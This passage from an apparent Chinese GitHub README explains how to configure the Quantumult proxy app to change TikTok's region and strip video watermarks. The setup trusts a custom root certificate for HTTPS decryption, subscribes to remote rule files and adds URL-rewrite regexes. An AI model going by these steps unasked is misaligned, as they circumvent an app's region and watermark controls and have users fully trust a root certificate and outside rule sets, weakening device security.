	<li class="task-list-item" style="box-sizing:border-box;list-style-type:none;">
		<p style="box-sizing:border-box;margin-bottom:16px;margin-top:16px;">
			<input type="checkbox" id="" disabled="disabled" class="task-list-item-checkbox" checked="checked" style="font-family:inherit;font-size:inherit;font-style:inherit;font-variant-caps:inherit;font-stretch:inherit;line-height:inherit;margin:0px 0.2em 0.25em -1.6em;overflow:visible;vertical-align:middle;" />&nbsp;TikTok换区
		</p>
	</li>
	<li class="task-list-item" style="box-sizing:border-box;list-style-type:none;margin-top:3px;">
		<p style="box-sizing:border-box;margin-bottom:16px;margin-top:16px;">
			<input type="checkbox" id="" disabled="disabled" class="task-list-item-checkbox" checked="checked" style="font-family:inherit;font-size:inherit;font-style:inherit;font-variant-caps:inherit;font-stretch:inherit;line-height:inherit;margin:0px 0.2em 0.25em -1.6em;overflow:visible;vertical-align:middle;" />&nbsp;看TikTok视频
		</p>
	</li>
	<li class="task-list-item" style="box-sizing:border-box;list-style-type:none;margin-top:3px;">
		<p style="box-sizing:border-box;margin-bottom:16px;margin-top:16px;">
			<input type="checkbox" id="" disabled="disabled" class="task-list-item-checkbox" checked="checked" style="font-family:inherit;font-size:inherit;font-style:inherit;font-variant-caps:inherit;font-stretch:inherit;line-height:inherit;margin:0px 0.2em 0.25em -1.6em;overflow:visible;vertical-align:middle;" />&nbsp;看TikTok直播
		</p>
	</li>
	<li class="task-list-item" style="box-sizing:border-box;list-style-type:none;margin-top:3px;">
		<p style="box-sizing:border-box;margin-bottom:16px;margin-top:16px;">
			<input type="checkbox" id="" disabled="disabled" class="task-list-item-checkbox" checked="checked" style="font-family:inherit;font-size:inherit;font-style:inherit;font-variant-caps:inherit;font-stretch:inherit;line-height:inherit;margin:0px 0.2em 0.25em -1.6em;overflow:visible;vertical-align:middle;" />&nbsp;在TikTok内直接下载无水印视频
		</p>
	</li>
</ul>
<h3 style="white-space:normal;box-sizing:border-box;margin-bottom:16px;margin-top:24px;font-size:1.25em;line-height:1.25;caret-color:#24292E;color:#24292E;font-family:-apple-system, BlinkMacSystemFont, &quot;-webkit-text-size-adjust:100%;">
	<a id="user-content-准备工作" class="anchor" aria-hidden="true" href="https://github.com/cyubuchen/TikTok_Unlock/blob/master/README.md#%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C" style="box-sizing:border-box;color:#0366D6;text-decoration:none;float:left;line-height:1;margin-left:-20px;padding-right:4px;"><svg class="octicon octicon-link" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>准备工作:
</h3>
<hr style="font-size:16px;white-space:normal;box-sizing:content-box;height:0.25em;overflow:hidden;background-color:#E1E4E8;border:0px;margin:24px 0px;padding:0px;caret-color:#24292E;color:#24292E;font-family:-apple-system, BlinkMacSystemFont, &quot;-webkit-text-size-adjust:100%;" />
<ul style="font-size:16px;white-space:normal;box-sizing:border-box;margin-bottom:16px;margin-top:0px;padding-left:2em;caret-color:#24292E;color:#24292E;font-family:-apple-system, BlinkMacSystemFont, &quot;-webkit-text-size-adjust:100%;">
	<li style="box-sizing:border-box;">
		<p style="box-sizing:border-box;margin-bottom:16px;margin-top:16px;">
			<g-emoji class="g-emoji" alias="white_check_mark" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/2705.png" style="box-sizing:border-box;font-family:&quot;font-size:1.2em;line-height:20px;vertical-align:middle;">✅</g-emoji>&nbsp;自备Quantumult
		</p>
	</li>
	<li style="box-sizing:border-box;margin-top:0.25em;">
		<p style="box-sizing:border-box;margin-bottom:16px;margin-top:16px;">
			<g-emoji class="g-emoji" alias="white_check_mark" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/2705.png" style="box-sizing:border-box;font-family:&quot;font-size:1.2em;line-height:20px;vertical-align:middle;">✅</g-emoji>&nbsp;自备proxy
		</p>
	</li>
</ul>
<h3 style="white-space:normal;box-sizing:border-box;margin-bottom:16px;margin-top:24px;font-size:1.25em;line-height:1.25;caret-color:#24292E;color:#24292E;font-family:-apple-system, BlinkMacSystemFont, &quot;-webkit-text-size-adjust:100%;">
	<a id="user-content-操作步骤" class="anchor" aria-hidden="true" href="https://github.com/cyubuchen/TikTok_Unlock/blob/master/README.md#%E6%93%8D%E4%BD%9C%E6%AD%A5%E9%AA%A4" style="box-sizing:border-box;color:#0366D6;text-decoration:none;float:left;line-height:1;margin-left:-20px;padding-right:4px;"><svg class="octicon octicon-link" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>操作步骤:
</h3>
<hr style="font-size:16px;white-space:normal;box-sizing:content-box;height:0.25em;overflow:hidden;background-color:#E1E4E8;border:0px;margin:24px 0px;padding:0px;caret-color:#24292E;color:#24292E;font-family:-apple-system, BlinkMacSystemFont, &quot;-webkit-text-size-adjust:100%;" />
<ol style="font-size:16px;white-space:normal;box-sizing:border-box;margin-bottom:16px;margin-top:0px;padding-left:2em;caret-color:#24292E;color:#24292E;font-family:-apple-system, BlinkMacSystemFont, &quot;-webkit-text-size-adjust:100%;">
	<li style="box-sizing:border-box;">
		<p style="box-sizing:border-box;margin-bottom:16px;margin-top:16px;">
			打开<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">圈Quantumult&nbsp;</code> 
		</p>
	</li>
	<li style="box-sizing:border-box;margin-top:0.25em;">
		<p style="box-sizing:border-box;margin-bottom:16px;margin-top:16px;">
			<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">更多&nbsp;</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">模块&nbsp;</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">TUN+HTTP(Loopback)&nbsp;</code> 
		</p>
	</li>
	<li style="box-sizing:border-box;margin-top:0.25em;">
		<p style="box-sizing:border-box;margin-bottom:16px;margin-top:16px;">
			<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">设置</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">HTTPS解密</code>--)开启<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">HTTPS解密</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">生成密钥及证书</code>--)右上角点<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">保存</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">允许</code>安装描述文件--)右上角点<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">安装</code>--)输入手机的解锁密码--)右上角点<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">安装</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">安装</code>--)前往手机的<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">设置</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">通用</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">关于本机</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">证书信任设置</code>--)找到<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">Quantumult Custom Root Certificate…</code>点绿它以信任该根证书--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">继续</code> 
		</p>
	</li>
	<li style="box-sizing:border-box;margin-top:0.25em;">
		<p style="box-sizing:border-box;margin-bottom:16px;margin-top:16px;">
			前往<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">圈quantumult</code>：<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">设置</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">订阅</code>--)右上角<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">加号</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">分流</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">链接</code>处添加网址<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">https://raw.githubusercontent.com/lhie1/Rules/master/Quantumult/Quantumult.conf</code>&nbsp;--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">名称</code>输入<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">分流</code>俩字--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">个性化</code>戳出对勾--)右上角<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">保存</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">左划</code>--)点选<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">替换</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">保存</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">好</code> 
		</p>
	</li>
	<li style="box-sizing:border-box;margin-top:0.25em;">
		<p style="box-sizing:border-box;margin-bottom:16px;margin-top:16px;">
			<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">设置</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">订阅</code>--)右上角<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">添加</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">链接阻止</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">链接</code>添加网址<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">https://raw.githubusercontent.com/lhie1/Rules/master/Quantumult/Quantumult_URL.conf</code>&nbsp;--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">名称</code>输入<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">阻止</code>俩字--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">包含主机名</code>戳出对勾--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">保存</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">左划</code>--)点选<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">替换</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">好</code> 
		</p>
	</li>
	<li style="box-sizing:border-box;margin-top:0.25em;">
		<p style="box-sizing:border-box;margin-bottom:16px;margin-top:16px;">
			<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">设置</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">HTTP复写</code>--)右上角<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">+</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">命令</code>那选<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">302</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">匹配</code>填写<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">(?&lt;=&amp;watermark=)1&amp;</code>&nbsp;--)&nbsp;<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">替换</code>填写<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">&amp;</code>&nbsp;--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">好</code>&nbsp;--) 右上角<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">好</code>&nbsp;--) 右上角加号<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">+</code>&nbsp;--)&nbsp;<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">命令</code>307 --)&nbsp;<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">匹配</code>&nbsp;<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">(?&lt;=&amp;carrier_region=|&amp;sys_region=)CN(?=.*)</code>&nbsp;--)&nbsp;<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">替换</code>改为你想看的国家/地区简写 --)&nbsp;<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">好</code> 
		</p>
	</li>
	<li style="box-sizing:border-box;margin-top:0.25em;">
		<p style="box-sizing:border-box;margin-bottom:16px;margin-top:16px;">
			找到以下7条--)逐条<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">左划</code>--)<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">删除这7条</code> 
		</p>
		<p>
			<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">(?&lt;=&amp;app_version=)([0-9]).([0-9]).([0-9])(?=.*) url 307 2.4.1</code>
		</p>
		<p>
			<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">(?&lt;=&amp;?version_code=)([0-9]).([0-9]).([0-9]) url 307 2.4.1</code>
		</p>
		<p>
			<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">(?&lt;=&amp;app_version=)4.4.0(?=.*) url 307 2.4.1</code>
		</p>
		<p>
			<code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.600000381469727px;background-color:rgba(27, 31, 35, 0.0470588);border-top-left-radius:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;border-bottom-left-radius:3px;margin:0px;padding:0.2em 0.4em;">(?&lt;=&amp;?version_code=)4.4.0 url 307 2.4.1</code>
		</p>
		<p>
